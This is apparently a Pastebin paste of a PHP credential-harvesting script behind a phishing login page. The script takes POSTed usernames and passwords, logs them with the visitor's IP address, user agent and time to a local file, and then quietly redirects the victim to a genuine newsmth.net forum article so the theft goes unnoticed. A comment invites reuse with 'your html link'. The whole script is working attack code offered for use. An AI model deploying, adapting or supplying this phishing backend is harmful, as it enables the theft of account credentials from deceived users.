Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- function savelog($content) {
- $filename="xlog.txt";
- $handle=fopen($filename,"a+");
- $str=fwrite($handle,$content);
- fclose($handle);
- }
- date_default_timezone_set("Asia/Shanghai");
- if ( (isset($_POST['id'])) && (isset($_POST['id'])) ) {
- $ip = $_SERVER['REMOTE_ADDR'];
- $time = date("Y-m-d H:i:s");
- $ua = $_SERVER['HTTP_USER_AGENT'];
- $user = $_POST['id'];
- $pass = $_POST['passwd'];
- $c = $time . " | " . $ip . " | " . $ua . " | " . $user . " | " . $pass ."\n";
- savelog($c);
- header('Location: http://m.newsmth.net/article/FamilyLife/17613991581');
- } else {
- header('Location: http://m.newsmth.net/'); //change here with your html link
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement